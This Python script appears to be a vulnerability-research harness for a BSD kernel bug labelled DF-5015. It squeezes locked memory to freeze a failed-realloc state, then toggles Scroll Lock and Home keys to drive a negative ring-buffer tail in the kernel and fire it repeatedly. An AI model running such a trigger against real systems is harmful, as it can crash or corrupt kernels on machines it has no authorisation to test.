#!/usr/bin/env python3
"""DF-5015 round 5: root mlock squeeze (documented setup simulating a
loaded system) makes the failed-realloc window deterministic; then
in-kernel evidence chain."""
import sys, time
sys.path.insert(0, '/home/maxx/dfbsd/dfbsd/findings/poc/DF-5015')
import os
os.chdir('/home/maxx/dfbsd/dfbsd/findings/poc/DF-5015')
from drive import Mon, run_root, Slk

def state():
    return run_root("sysctl -n hw.df5015")

m = Mon()
slk = Slk(m, vty=0)

print("== arm + watcher + flip ==")
run_root("pkill -f 'df5015 flip' 2>/dev/null; true")
run_root("rm -f /tmp/DF5015_STOP /tmp/DF5015_FROZEN /tmp/big /usr/big")
run_root("/tmp/df5015 flip 1 0 1500")
print(run_root("/tmp/df5015 arm"))
print(run_root("/tmp/df5015 drain >/dev/null 2>&1 & "))
run_root("/tmp/watcher.sh >/tmp/watcher.log 2>&1 &")
run_root("/tmp/df5015 flip 100000 250 20 >/tmp/flip.log 2>&1 &")

print("== squeeze (root setup, simulates memory pressure) ==")
run_root("/tmp/squeeze 20000 >/tmp/squeeze.log 2>&1 &")
time.sleep(15)
print(run_root("cat /tmp/squeeze.log; sysctl -n vm.stats.vm.v_free_count"))

deadline = time.time() + 240
frozen = False
while time.time() < deadline:
    out = run_root("cat /tmp/watcher.log 2>/dev/null")
    if "FROZEN" in out:
        print("WATCHER:", out.strip()[:200])
        frozen = True
        break
    time.sleep(3)
if not frozen:
    print("still not frozen; free:", run_root("sysctl -n vm.stats.vm.v_free_count"))
    print("flip:", run_root("tail -1 /tmp/flip.log"))
    sys.exit(1)

time.sleep(1.5)
st = state()
print("== frozen state ==")
print(st)
assert "size=2000" in st and "ysize=60" in st, "freeze failed"

print("== arm negative tail ==")
slk.set(True)
m.key("home")
slk.set(False)
time.sleep(0.4)
st = state()
print(st)
if "tail=-" in st:
    print("*** NEGATIVE RING TAIL OBSERVED IN-KERNEL ***")

print("== fill + fire ==")
run_root("/tmp/df5015 fill 0 Z 70")
print("baseline:", state())
for i in range(20):
    slk.set(True)
    m.key("home")
    slk.set(False)
    if i % 4 == 0:
        print(f"cycle {i}: {state()}")
print("final:", state())
print(run_root("echo alive"))
